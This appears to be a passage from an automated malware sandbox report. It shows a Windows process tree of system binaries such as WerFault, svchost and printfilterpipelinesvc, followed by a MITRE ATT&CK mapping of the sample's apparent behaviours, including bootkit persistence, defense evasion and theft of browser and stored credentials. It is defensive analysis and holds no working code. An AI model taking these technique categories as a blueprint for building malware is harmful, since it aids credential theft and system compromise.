"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:9016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:9560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 1216 -ip 1216
1⤵
PID:6528

C:\Windows\system32\printfilterpipelinesvc.exe
C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
1⤵
PID:6176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 1356 -ip 1356
1⤵
PID:5980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 11680 -ip 11680
1⤵
PID:4092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1356 -ip 1356
1⤵
PID:6668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 1356 -ip 1356
1⤵
PID:14312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 1356 -ip 1356
1⤵
PID:6148

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Change Default File Association

T1546.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery